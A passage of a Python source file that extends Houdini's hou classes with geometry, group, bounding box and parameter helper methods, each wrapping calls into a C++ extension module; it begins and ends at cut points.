point.\n result = _cpp_methods.connectedPoints(geometry, self.number())\n\n # Glob for the points and return them.\n return _get_points_from_list(geometry, result)\n\n\n@add_to_class(hou.Point)\ndef referencingVertices(self):\n \"\"\"Get all the vertices referencing this point.\n\n :return: Referencing vertices\n :rtype: tuple(hou.Vertex)\n\n \"\"\"\n # Get the geometry the point belongs to.\n geometry = self.geometry()\n\n # Get an object containing primitive and vertex index information.\n result = _cpp_methods.referencingVertices(geometry, self.number())\n\n # Construct a list of vertex strings. Each element has the format:\n # {prim_num}v{vertex_index}.\n vertex_strings = [\"{}v{}\".format(prim, idx)\n for prim, idx in zip(result.prims, result.indices)]\n\n # Glob for the vertices and return them.\n return geometry.globVertices(' '.join(vertex_strings))\n\n\n@add_to_class(hou.Attrib)\ndef stringTableIndices(self):\n \"\"\"Return at tuple of string attribute table indices.\n\n String attributes are stored using integers referencing a table of\n strings. This function will return a list of table indices for each\n element.\n\n :return: String table indices\n :rtype: tuple(int)\n\n \"\"\"\n if self.dataType() != hou.attribData.String:\n raise hou.OperationFailed(\"Attribute must be a string.\")\n\n # Get the corresponding attribute type id.\n attrib_owner = _get_attrib_owner(self.type())\n\n return tuple(_cpp_methods.getStringTableIndices(self.geometry(), attrib_owner, self.name()))\n\n\n@add_to_class(hou.Geometry)\ndef vertexStringAttribValues(self, name):\n \"\"\"Return a tuple of strings containing one attribute's values for all the\n vertices.\n\n :param name: The attribute name.\n :type name: str\n :return: A list containing all vertex attribute values.\n :rtype: tuple(str)\n\n \"\"\"\n attrib = self.findVertexAttrib(name)\n\n if attrib is None:\n raise hou.OperationFailed(\"Invalid attribute name.\")\n\n if attrib.dataType() != hou.attribData.String:\n raise hou.OperationFailed(\"Attribute must be a string.\")\n\n return _cpp_methods.vertexStringAttribValues(self, name)\n\n\n@add_to_class(hou.Geometry)\ndef setVertexStringAttribValues(self, name, values):\n \"\"\"Set the string attribute values for all vertices.\n\n :param name: The attribute name.\n :type name: str\n :param values: The values to set.\n :type values: tuple(str)\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n attrib = self.findVertexAttrib(name)\n\n if attrib is None:\n raise hou.OperationFailed(\"Invalid attribute name.\")\n\n if attrib.dataType() != hou.attribData.String:\n raise hou.OperationFailed(\"Attribute must be a string.\")\n\n if len(values) != self.numVertices():\n raise hou.OperationFailed(\"Incorrect attribute value sequence size.\")\n\n # Construct a ctypes string array to pass the strings.\n arr = _build_c_string_array(values)\n\n _cpp_methods.setVertexStringAttribValues(\n self,\n name,\n arr,\n len(values)\n )\n\n\n@add_to_class(hou.Geometry)\ndef setSharedPointStringAttrib(self, name, value, group=None):\n \"\"\"Set a string attribute value for points.\n\n If group is None, all points will have receive the value. If a group is\n passed, only the points in the group will be set.\n\n :param name: The attribute name.\n :type name: str\n :param value: The value to set.\n :type value: str\n :param group: An optional point group.\n :type group: hou.PointGroup\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n attribute = self.findPointAttrib(name)\n\n if attribute is None:\n raise hou.OperationFailed(\"Invalid attribute name.\")\n\n if attribute.dataType() != hou.attribData.String:\n raise hou.OperationFailed(\"Attribute must be a string.\")\n\n # If the group is valid use that group's name.\n if group:\n group_name = group.name()\n\n # If not pass 0 so the char * will be empty.\n else:\n group_name = 0\n\n _cpp_methods.setSharedStringAttrib(\n self,\n _get_attrib_owner(attribute.type()),\n name,\n value,\n group_name\n )\n\n\n@add_to_class(hou.Geometry)\ndef setSharedPrimStringAttrib(self, name, value, group=None):\n \"\"\"Set a string attribute value for primitives.\n\n If group is None, all primitives will have receive the value. If a group\n is passed, only the primitives in the group will be set.\n\n :param name: The attribute name.\n :type name: str\n :param value: The value to set.\n :type value: str\n :param group: An optional primitive group.\n :type group: hou.PrimGroup\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n attribute = self.findPrimAttrib(name)\n\n if attribute is None:\n raise hou.OperationFailed(\"Invalid attribute name.\")\n\n if attribute.dataType() != hou.attribData.String:\n raise hou.OperationFailed(\"Attribute must be a string.\")\n\n # If the group is valid use that group's name.\n if group:\n group_name = group.name()\n\n # If not pass 0 so the char * will be empty.\n else:\n group_name = 0\n\n _cpp_methods.setSharedStringAttrib(\n self,\n _get_attrib_owner(attribute.type()),\n name,\n value,\n group_name\n )\n\n\n@add_to_class(hou.Face)\ndef hasEdge(self, point1, point2):\n \"\"\"Test if this face has an edge between two points.\n\n :param point1: A point to test for an edge with.\n :type point1: hou.Point\n :param point2: A point to test for an edge with.\n :type point2: hou.Point\n :return: Whether or not the points share an edge.\n :rtype: bool\n\n \"\"\"\n # Test for the edge.\n return _cpp_methods.hasEdge(\n self.geometry(),\n self.number(),\n point1.number(),\n point2.number()\n )\n\n\n@add_to_class(hou.Face)\ndef sharedEdges(self, prim):\n \"\"\"Get a tuple of any shared edges between two primitives.\n\n :param prim: The primitive to check for shared edges.\n :type prim: hou.Face\n :return: A tuple of shared edges.\n :rtype: tuple(hou.Edge)\n\n \"\"\"\n geometry = self.geometry()\n\n # A list of unique edges.\n edges = set()\n\n # Iterate over each vertex of the primitive.\n for vertex in self.vertices():\n # Get the point for the vertex.\n vertex_point = vertex.point()\n\n # Iterate over all the connected points.\n for connected in vertex_point.connectedPoints():\n # Sort the points.\n pt1, pt2 = sorted((vertex_point, connected), key=lambda pt: pt.number())\n\n # Ensure the edge exists for both primitives.\n if self.hasEdge(pt1, pt2) and prim.hasEdge(pt1, pt2):\n # Find the edge and add it to the list.\n edges.add(geometry.findEdge(pt1, pt2))\n\n return tuple(edges)\n\n\n@add_to_class(hou.Face)\ndef insertVertex(self, point, index):\n \"\"\"Insert a vertex on the point into this face at a specific index.\n\n :param point: The vertex point.\n :type point: hou.Point\n :param index: The vertex index.\n :type index: int\n :return: The new vertex.\n :rtype: hou.Vertex\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n _validate_prim_vertex_index(self, index)\n\n # Insert the vertex.\n _cpp_methods.insertVertex(geometry, self.number(), point.number(), index)\n\n return self.vertex(index)\n\n\n@add_to_class(hou.Face)\ndef deleteVertex(self, index):\n \"\"\"Delete the vertex at the specified index.\n\n :param index: The vertex index to delete.\n :type index: int\n :return:\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n _validate_prim_vertex_index(self, index)\n\n # Delete the vertex.\n _cpp_methods.deleteVertex(geometry, self.number(), index)\n\n\n@add_to_class(hou.Face)\ndef setPoint(self, index, point):\n \"\"\"Set the vertex, at the specified index, to be attached to the point.\n\n :param index: The vertex index to set.\n :type index: int\n :param point: The point to set the vertex to.\n :type point: hou.Point\n :return:\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n _validate_prim_vertex_index(self, index)\n\n # Modify the vertex.\n _cpp_methods.setPoint(geometry, self.number(), index, point.number())\n\n\n@add_to_class(hou.Prim)\ndef baryCenter(self):\n \"\"\"Get the barycenter of this primitive.\n\n :return: The barycenter.\n :rtype: hou.Vector3\n\n \"\"\"\n # Get the Position3D object representing the barycenter.\n pos = _cpp_methods.baryCenter(self.geometry(), self.number())\n\n # Construct a vector and return it.\n return hou.Vector3(pos.x, pos.y, pos.z)\n\n\n@add_to_class(hou.Prim, name=\"area\")\ndef primitiveArea(self):\n \"\"\"Get the area of this primitive.\n\n This method just wraps the \"measuredarea\" intrinsic value.\n\n :return: The primitive area.\n :rtype: float\n\n \"\"\"\n return self.intrinsicValue(\"measuredarea\")\n\n\n@add_to_class(hou.Prim)\ndef perimeter(self):\n \"\"\"Get the perimeter of this primitive.\n\n This method just wraps the \"measuredperimeter\" intrinsic value.\n\n :return: The primitive perimeter.\n :rtype: float\n\n \"\"\"\n return self.intrinsicValue(\"measuredperimeter\")\n\n\n@add_to_class(hou.Prim)\ndef volume(self):\n \"\"\"Get the volume of this primitive.\n\n This method just wraps the \"measuredvolume\" intrinsic value.\n\n :return: The primitive volume.\n :rtype: float\n\n \"\"\"\n return self.intrinsicValue(\"measuredvolume\")\n\n\n@add_to_class(hou.Prim, name=\"reverse\")\ndef reversePrim(self):\n \"\"\"Reverse the vertex order of this primitive.\n\n :return:\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n _cpp_methods.reversePrimitive(geometry, self.number())\n\n\n@add_to_class(hou.Prim)\ndef makeUnique(self):\n \"\"\"Unique all the points that are in this primitive.\n\n This function will unique all the points even if they are referenced by\n other primitives.\n\n :return:\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n return _cpp_methods.makeUnique(geometry, self.number())\n\n\n@add_to_class(hou.Prim, name=\"boundingBox\")\ndef primBoundingBox(self):\n \"\"\"Get the bounding box of this primitive.\n\n This method just wraps the \"bounds\" intrinsic value.\n\n :return: The primitive boudning box.\n :rtype: hou.BoundingBox\n\n \"\"\"\n bounds = self.intrinsicValue(\"bounds\")\n\n # Intrinsic values are out of order for hou.BoundingBox so they need to\n # be shuffled.\n return hou.BoundingBox(\n bounds[0],\n bounds[2],\n bounds[4],\n bounds[1],\n bounds[3],\n bounds[5],\n )\n\n\n@add_to_class(hou.Geometry)\ndef computePointNormals(self):\n \"\"\"Computes the point normals for the geometry.\n\n This is equivalent to using a Point sop, selecting 'Add Normal' and\n leaving the default values. It will add the 'N' attribute if it does not\n exist.\n\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n _cpp_methods.computePointNormals(self)\n\n\n@add_to_class(hou.Geometry, name=\"addPointNormals\")\ndef addPointNormalAttribute(self):\n \"\"\"Add point normals to the geometry.\n\n This function will only create the Normal attribute and will not\n initialize the values. See hou.Geometry.computePointNormals().\n\n :return: The new 'N' point attribute.\n :rtype: hou.Attrib\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n success = _cpp_methods.addNormalAttribute(self)\n\n if success:\n return self.findPointAttrib(\"N\")\n\n raise hou.OperationFailed(\"Could not add normal attribute.\")\n\n\n@add_to_class(hou.Geometry, name=\"addPointVelocity\")\ndef addPointVelocityAttribute(self):\n \"\"\"Add point velocity to the geometry.\n\n :return: The new 'v' point attribute.\n :rtype: hou.Attrib\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n success = _cpp_methods.addVelocityAttribute(self)\n\n if success:\n return self.findPointAttrib(\"v\")\n\n raise hou.OperationFailed(\"Could not add velocity attribute.\")\n\n\n@add_to_class(hou.Geometry)\ndef addColorAttribute(self, attrib_type):\n \"\"\"Add a color (Cd) attribute to the geometry.\n\n Point, primitive and vertex colors are supported.\n\n :param attrib_type: The type of attribute to add.\n :type attrib_type: hou.attribType\n :return: The new 'Cd' attribute.\n :rtype: hou.Attrib\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if attrib_type == hou.attribType.Global:\n raise hou.TypeError(\"Invalid attribute type.\")\n\n owner = _get_attrib_owner(attrib_type)\n\n # Try to add the Cd attribute.\n success = _cpp_methods.addDiffuseAttribute(self, owner)\n\n if success:\n return _find_attrib(self, attrib_type, \"Cd\")\n\n # We didn't create an attribute, so throw an exception.\n raise hou.OperationFailed(\"Could not add Cd attribute.\")\n\n\n@add_to_class(hou.Geometry)\ndef convex(self, max_points=3):\n \"\"\"Convex the geometry into polygons with a certain number of points.\n\n This operation is similar to using the Divide SOP and setting the 'Maximum\n Edges'.\n\n :param max_points: The maximum points per face.\n :type max_points: int\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n _cpp_methods.convexPolygons(self, max_points)\n\n\n@add_to_class(hou.Geometry)\ndef clip(self, origin, normal, dist=0, below=False, group=None):\n \"\"\"Clip this geometry along a plane.\n\n :param origin: The origin point of the operation.\n :type origin: hou.Vector3\n :param normal: The up vector of the clip plane.\n :type normal: hou.Vector3\n :param dist: The distance from the origin point to clip.\n :type dist: float\n :param below: Whether or not to clip below the plane instead of above.\n :type below: bool\n :param group: Optional primitive group to clip.\n :type group: hou.PrimGroup\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n # If the group is valid, use that group's name.\n if group:\n group_name = group.name()\n\n # If not, pass an empty string to signify no group.\n else:\n group_name = \"\"\n\n # If we want to keep the primitives below the plane we need to offset\n # the origin along the normal by the distance and then reverse\n # the normal and set the distance to 0.\n if below:\n origin += normal * dist\n normal *= -1\n dist = 0\n\n # Build a transform to modify the geometry so we can have the plane not\n # centered at the origin.\n xform = hou.hmath.buildTranslate(origin)\n\n _cpp_methods.clip(self, xform, normal.normalized(), dist, group_name)\n\n\n@add_to_class(hou.Geometry)\ndef destroyEmptyGroups(self, attrib_type):\n \"\"\"Remove any empty groups of the specified type.\n\n :param attrib_type: The type of groups to destroy.\n :type attrib_type: hou.attribType\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if attrib_type == hou.attribType.Global:\n raise hou.OperationFailed(\n \"Attribute type must be point, primitive or vertex.\"\n )\n\n # Get the corresponding attribute type id.\n attrib_owner = _get_attrib_owner(attrib_type)\n\n _cpp_methods.destroyEmptyGroups(self, attrib_owner)\n\n\n@add_to_class(hou.Geometry)\ndef destroyUnusedPoints(self, group=None):\n \"\"\"Remove any unused points.\n\n If group is not None, only unused points within the group are removed.\n\n :param group: Optional point group to restrict to.\n :type group: hou.PointGroup\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if group is not None:\n _cpp_methods.destroyUnusedPoints(self, group.name())\n\n else:\n _cpp_methods.destroyUnusedPoints(self, 0)\n\n\n@add_to_class(hou.Geometry)\ndef consolidatePoints(self, distance=0.001, group=None):\n \"\"\"Consolidate points within a specified distance.\n\n If group is not None, only points in that group are consolidated.\n\n :param distance: The consolidation distance.\n :type distance: float\n :param group: Optional point group to restrict to.\n :type group: hou.PointGroup\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if group is not None:\n _cpp_methods.consolidatePoints(self, distance, group.name())\n\n else:\n _cpp_methods.consolidatePoints(self, distance, 0)\n\n\n@add_to_class(hou.Geometry)\ndef uniquePoints(self, group=None):\n \"\"\"Unique points in the geometry.\n\n If a point group is specified, only points in that group are uniqued.\n\n :param group: Optional point group to restrict to.\n :type group: hou.PointGroup\n :return:\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if group is not None:\n _cpp_methods.uniquePoints(self, group.name())\n\n else:\n _cpp_methods.uniquePoints(self, 0)\n\n\n@add_to_class(hou.Geometry)\ndef renameGroup(self, group, new_name):\n \"\"\"Rename this group.\n\n :param group: The group to rename.\n :type group: hou.PointGroup|hou.PrimGroup|hou.EdgeGroup\n :param new_name: The new group name.\n :type new_name: str\n :return: The new group, if it was renamed, otherwise None.\n :rtype: hou.PointGroup|hou.PrimGroup|hou.EdgeGroup|None\n\n\n \"\"\"\n # Make sure the geometry is not read only.\n if isReadOnly(self):\n raise hou.GeometryPermissionError()\n\n # Ensure the new group doesn't have the same name.\n if new_name == group.name():\n raise hou.OperationFailed(\"Cannot rename to same name.\")\n\n group_type = _get_group_type(group)\n\n success = _cpp_methods.renameGroup(\n self,\n group.name(),\n new_name,\n group_type\n )\n\n if success:\n return _find_group(self, group_type, new_name)\n\n else:\n return None\n\n\n@add_to_class(hou.PointGroup, hou.PrimGroup, hou.EdgeGroup, name=\"boundingBox\")\ndef groupBoundingBox(self):\n \"\"\"Get the bounding box of this group.\n\n :return: The bounding box for the group.\n :rtype: hou.BoundingBox\n\n \"\"\"\n group_type = _get_group_type(self)\n\n # Calculate the bounds for the group.\n bounds = _cpp_methods.groupBoundingBox(\n self.geometry(),\n group_type,\n self.name()\n )\n\n return hou.BoundingBox(*bounds)\n\n\n@add_to_class(hou.EdgeGroup, hou.PointGroup, hou.PrimGroup, name=\"__len__\")\n@add_to_class(hou.EdgeGroup, hou.PointGroup, hou.PrimGroup, name=\"size\")\ndef groupSize(self):\n \"\"\"Get the number of elements in this group.\n\n You can also use len(group)\n\n :return: The group size.\n :rtype: int\n\n \"\"\"\n geometry = self.geometry()\n\n group_type = _get_group_type(self)\n\n return _cpp_methods.groupSize(geometry, self.name(), group_type)\n\n\n@add_to_class(hou.PointGroup, name=\"toggle\")\ndef togglePoint(self, point):\n \"\"\"Toggle group membership for a point.\n\n If the point is a part of the group, it will be removed. If it isn't, it\n will be added.\n\n :param point: The point to toggle membership.\n :type point: hou.Point\n :return\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n group_type = _get_group_type(self)\n\n _cpp_methods.toggleMembership(\n geometry,\n self.name(),\n group_type,\n point.number()\n )\n\n\n@add_to_class(hou.PrimGroup, name=\"toggle\")\ndef togglePrim(self, prim):\n \"\"\"Toggle group membership for a primitive.\n\n If the primitive is a part of the group, it will be removed. If it isnt,\n it will be added.\n\n :param prim: The primitive to toggle membership.\n :type prim: hou.Prim\n :return\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n group_type = _get_group_type(self)\n\n _cpp_methods.toggleMembership(\n geometry,\n self.name(),\n group_type,\n prim.number()\n )\n\n\n@add_to_class(hou.EdgeGroup, hou.PointGroup, hou.PrimGroup)\ndef toggleEntries(self):\n \"\"\"Toggle group membership for all elements in the group.\n\n All elements not in the group will be added to it and all that were in it\n will be removed.\n\n :return:\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n group_type = _get_group_type(self)\n\n _cpp_methods.toggleEntries(geometry, self.name(), group_type)\n\n\n@add_to_class(hou.PointGroup, name=\"copy\")\ndef copyPointGroup(self, new_group_name):\n \"\"\"Create a new point group under the new name with the same membership.\n\n :param new_group_name: The new group name.\n :type new_group_name: str\n :return: The new group.\n :rtype: hou.PointGroup\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n # Ensure the new group doesn't have the same name.\n if new_group_name == self.name():\n raise hou.OperationFailed(\"Cannot copy to group with same name.\")\n\n # Check for an existing group of the same name.\n if geometry.findPointGroup(new_group_name):\n # If one exists, raise an exception.\n raise hou.OperationFailed(\n \"Point group '{}' already exists.\".format(new_group_name)\n )\n\n attrib_owner = _get_group_attrib_owner(self)\n\n # Copy the group.\n _cpp_methods.copyGroup(geometry, attrib_owner, self.name(), new_group_name)\n\n # Return the new group.\n return geometry.findPointGroup(new_group_name)\n\n\n@add_to_class(hou.PrimGroup, name=\"copy\")\ndef copyPrimGroup(self, new_group_name):\n \"\"\"Create a group under the new name with the same membership.\n\n :param new_group_name: The new group name.\n :type new_group_name: str\n :return: The new group.\n :rtype: hou.PrimGroup\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n # Ensure the new group doesn't have the same name.\n if new_group_name == self.name():\n raise hou.OperationFailed(\"Cannot copy to group with same name.\")\n\n # Check for an existing group of the same name.\n if geometry.findPrimGroup(new_group_name):\n # If one exists, raise an exception.\n raise hou.OperationFailed(\n \"Primitive group '{}' already exists.\".format(new_group_name)\n )\n\n attrib_owner = _get_group_attrib_owner(self)\n\n # Copy the group.\n _cpp_methods.copyGroup(geometry, attrib_owner, self.name(), new_group_name)\n\n # Return the new group.\n return geometry.findPrimGroup(new_group_name)\n\n\n@add_to_class(hou.PointGroup, name=\"containsAny\")\ndef pointGroupContainsAny(self, group):\n \"\"\"Returns whether or not any points in the group are in this group.\n\n :param group: Group to compare with.\n :type group: hou.PointGroup\n :return: Whether any points in the group are in this group.\n :rtype: bool\n\n \"\"\"\n geometry = self.geometry()\n\n group_type = _get_group_type(self)\n\n return _cpp_methods.containsAny(geometry, self.name(), group.name(), group_type)\n\n\n@add_to_class(hou.PrimGroup, name=\"containsAny\")\ndef primGroupContainsAny(self, group):\n \"\"\"Returns whether or not any primitives in the group are in this group.\n\n :param group: Group to compare with.\n :type group: hou.PrimGroup\n :return: Whether any primitives in the group are in this group.\n :rtype: bool\n\n \"\"\"\n geometry = self.geometry()\n\n group_type = _get_group_type(self)\n\n return _cpp_methods.containsAny(geometry, self.name(), group.name(), group_type)\n\n\n@add_to_class(hou.PrimGroup)\ndef convertToPointGroup(self, new_group_name=None, destroy=True):\n \"\"\"Create a new hou.Point group from this primitive group.\n\n The group will contain all the points referenced by all the vertices of the\n primitives in the group.\n\n :param new_group_name: The name of the new group.\n :type new_group_name: str\n :param destroy: Whether or not to destroy this group.\n :type destroy: bool\n :return: The new point group.\n :rtype: hou.PointGroup\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n # If a new name isn't specified, use the current group name.\n if new_group_name is None:\n new_group_name = self.name()\n\n # If the group already exists, raise an exception.\n if geometry.findPointGroup(new_group_name):\n raise hou.OperationFailed(\"Group already exists.\")\n\n # Convert the group.\n _cpp_methods.primToPointGroup(\n geometry,\n self.name(),\n new_group_name,\n destroy\n )\n\n # Return the new group.\n return geometry.findPointGroup(new_group_name)\n\n\n@add_to_class(hou.PointGroup)\ndef convertToPrimGroup(self, new_group_name=None, destroy=True):\n \"\"\"Create a new hou.Prim group from this point group.\n\n The group will contain all the primitives which have vertices referencing\n any of the points in the group.\n\n :param new_group_name: The name of the new group.\n :type new_group_name: str\n :param destroy: Whether or not to destroy this group.\n :type destroy: bool\n :return: The new primitive group.\n :rtype: hou.PrimGroup\n\n \"\"\"\n geometry = self.geometry()\n\n # Make sure the geometry is not read only.\n if geometry.isReadOnly():\n raise hou.GeometryPermissionError()\n\n # If a new name isn't specified, use the current group name.\n if new_group_name is None:\n new_group_name = self.name()\n\n # If the group already exists, raise an exception.\n if geometry.findPrimGroup(new_group_name):\n raise hou.OperationFailed(\"Group already exists.\")\n\n # Convert the group.\n _cpp_methods.pointToPrimGroup(\n geometry,\n self.name(),\n new_group_name,\n destroy\n )\n\n # Return the new group.\n return geometry.findPrimGroup(new_group_name)\n\n\n@add_to_class(hou.Geometry)\ndef hasUngroupedPoints(self):\n \"\"\"Check if the geometry has ungrouped points.\n\n :return: Whether or not the geometry has any ungrouped points.\n :rtype: bool\n\n \"\"\"\n return _cpp_methods.hasUngroupedPoints(self)\n\n\n@add_to_class(hou.Geometry)\ndef groupUngroupedPoints(self, group_name):\n \"\"\"Create a new point group of any points not already in a group.\n\n :param group_name: The new group name.\n :type group_name: str\n :return: A new point group containing ungrouped points.\n :rtype: hou.PointGroup\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if not group_name:\n raise hou.OperationFailed(\"Invalid group name: {}\".format(group_name))\n\n if self.findPointGroup(group_name) is not None:\n raise hou.OperationFailed(\"Group '{}' already exists\".format(group_name))\n\n _cpp_methods.groupUngroupedPoints(self, group_name)\n\n return self.findPointGroup(group_name)\n\n\n@add_to_class(hou.Geometry)\ndef hasUngroupedPrims(self):\n \"\"\"Check if the geometry has ungrouped primitives.\n\n :return: Whether or not the geometry has any ungrouped primitives.\n :rtype: bool\n\"\"\"\n return _cpp_methods.hasUngroupedPrims(self)\n\n\n@add_to_class(hou.Geometry)\ndef groupUngroupedPrims(self, group_name):\n \"\"\"Create a new primitive group of any primitives not already in a group.\n\n :param group_name: The new group name.\n :type group_name: str\n :return: A new primitive group containing ungrouped primitives.\n :rtype: hou.PrimGroup\n\n \"\"\"\n # Make sure the geometry is not read only.\n if self.isReadOnly():\n raise hou.GeometryPermissionError()\n\n if not group_name:\n raise hou.OperationFailed(\"Invalid group name: {}\".format(group_name))\n\n if self.findPrimGroup(group_name) is not None:\n raise hou.OperationFailed(\"Group '{}' already exists\".format(group_name))\n\n _cpp_methods.groupUngroupedPrims(self, group_name)\n\n return self.findPrimGroup(group_name)\n\n\n@add_to_class(hou.BoundingBox)\ndef isInside(self, bbox):\n \"\"\"Determine if this bounding box is totally enclosed by another box.\n\n :param bbox: The bounding box to check for enclosure.\n :type bbox: hou.BoundingBox\n :return: Whether or not this object is totally enclosed by the other box.\n :rtype: bool\n\n \"\"\"\n return _cpp_methods.isInside(self, bbox)\n\n\n@add_to_class(hou.BoundingBox)\ndef intersects(self, bbox):\n \"\"\"Determine if the bounding boxes intersect.\n\n :param bbox: The bounding box to check for intersection with.\n :type bbox: hou.BoundingBox\n :return: Whether or not this object intersects the other box.\n :rtype: bool\n\n \"\"\"\n return _cpp_methods.intersects(self, bbox)\n\n\n@add_to_class(hou.BoundingBox)\ndef computeIntersection(self, bbox):\n \"\"\"Compute the intersection of two bounding boxes.\n\n This function changes the bounds of this box to be those of the\n intersection of this box and the supplied box.\n\n :param bbox: The box to compute intersection with.\n :type bbox: hou.BoundingBox\n :return: Whether the boxes intersect or not.\n :rtype: bool\n\n \"\"\"\n return _cpp_methods.computeIntersection(self, bbox)\n\n\n@add_to_class(hou.BoundingBox)\ndef expandBounds(self, dltx, dlty, dltz):\n \"\"\"Expand the min and max bounds in each direction by the axis delta.\n\n :param dltx: The X value to expand by.\n :type dltx: float\n :param dlty: The Y value to expand by.\n :type dlty: float\n :param dltz: The Z value to expand by.\n :type dltz: float\n :return:\n\n \"\"\"\n _cpp_methods.expandBounds(self, dltx, dlty, dltz)\n\n\n@add_to_class(hou.BoundingBox)\ndef addToMin(self, vec):\n \"\"\"Add values to the minimum bounds of this bounding box.\n\n :param vec: The values to add.\n :type vec: hou.Vector3\n :return:\n\n \"\"\"\n _cpp_methods.addToMin(self, vec)\n\n@add_to_class(hou.BoundingBox)\ndef addToMax(self, vec):\n \"\"\"Add values to the maximum bounds of this bounding box.\n\n :param vec: The values to add.\n :type vec: hou.Vector3\n :return:\n\n \"\"\"\n _cpp_methods.addToMax(self, vec)\n\n\n@add_to_class(hou.BoundingBox, name=\"area\")\ndef boundingBoxArea(self):\n \"\"\"Calculate the area of this bounding box.\n\n :return: The area of the box.\n :rtype: float\n\n \"\"\"\n return _cpp_methods.boundingBoxArea(self)\n\n\n@add_to_class(hou.BoundingBox, name=\"volume\")\ndef boundingBoxVolume(self):\n \"\"\"Calculate the volume of this bounding box.\n\n :return: The volume of the box.\n :rtype: float\n\n \"\"\"\n return _cpp_methods.boundingBoxVolume(self)\n\n\n@add_to_class(hou.ParmTuple)\ndef isVector(self):\n \"\"\"Check if the tuple is a vector parameter.\n\n :return: Whether or not the parameter tuple is a vector.\n :rtype: bool\n\n \"\"\"\n parm_template = self.parmTemplate()\n\n return parm_template.namingScheme() == hou.parmNamingScheme.XYZW\n\n\n@add_to_class(hou.ParmTuple)\ndef evalAsVector(self):\n \"\"\"Return the parameter value as a hou.Vector of the appropriate size.\n\n :return: The evaluated parameter as a hou.Vector*\n :rtype: hou.Vector2|hou.Vector3|hou.Vector4\n\n \"\"\"\n if not self.isVector():\n raise hou.Error(\"Parameter is not a vector\")\n\n value = self.eval()\n size = len(value)\n\n if size == 2:\n return hou.Vector2(value)\n\n elif size == 3:\n return hou.Vector3(value)\n\n return hou.Vector4(value)\n\n\n@add_to_class(hou.ParmTuple)\ndef isColor(self):\n \"\"\"Check if the parameter is a color parameter.\n\n :return: Whether or not the parameter tuple is a color.\n :rtype: bool\n\n \"\"\"\n parm_template = self.parmTemplate()\n\n return parm_template.look() == hou.parmLook.ColorSquare\n\n\n@add_to_class(hou.ParmTuple)\ndef evalAsColor(self):\n \"\"\"Evaluate a color parameter and return a hou.Color object.\n\n :return: The evaluated parameter as a hou.Vector*\n :rtype: hou.Color\n\n \"\"\"\n if not self.isColor():\n raise hou.Error(\"Parameter is not a color chooser\")\n\n return hou.Color(self.eval())\n\n\n@add_to_class(hou.Parm)\ndef evalAsStrip(self):\n \"\"\"Evaluate the parameter as a Button/Icon Strip.\n\n Returns a tuple of True/False values indicated which buttons\n are pressed.\n\n :return: True/False values for the strip.\n :rtype: tuple(bool)\n\n \"\"\"\n parm_template = self.parmTemplate()\n\n # Right now the best we can do is check that a parameter is a menu\n # since HOM has no idea about what the strips are. If we aren't one\n # then raise an exception.\n if not isinstance(parm_template, hou.MenuParmTemplate):\n raise TypeError(\"Parameter must be a menu\")\n\n # Get the value. This might be the selected index, or a bit mask if we\n # can select more than one.\n value = self.eval()\n\n # Initialize a list of False values for each item on the strip.\n menu_items = parm_template.menuItems()\n num_items = len(menu_items)\n values = [False] * num_items\n\n # If our menu type is a Toggle that means we can select more than one\n # item at the same time so our value is really a bit mask.\n if parm_template.menuType() == hou.menuType.StringToggle:\n # Check which items are selected.\n for i in range(num_items):\n mask = 1 << i\n\n if value & mask:\n values[i] = True\n\n # Value is just the selected index so set that one to True.\n else:\n values[value] = True\n\n return 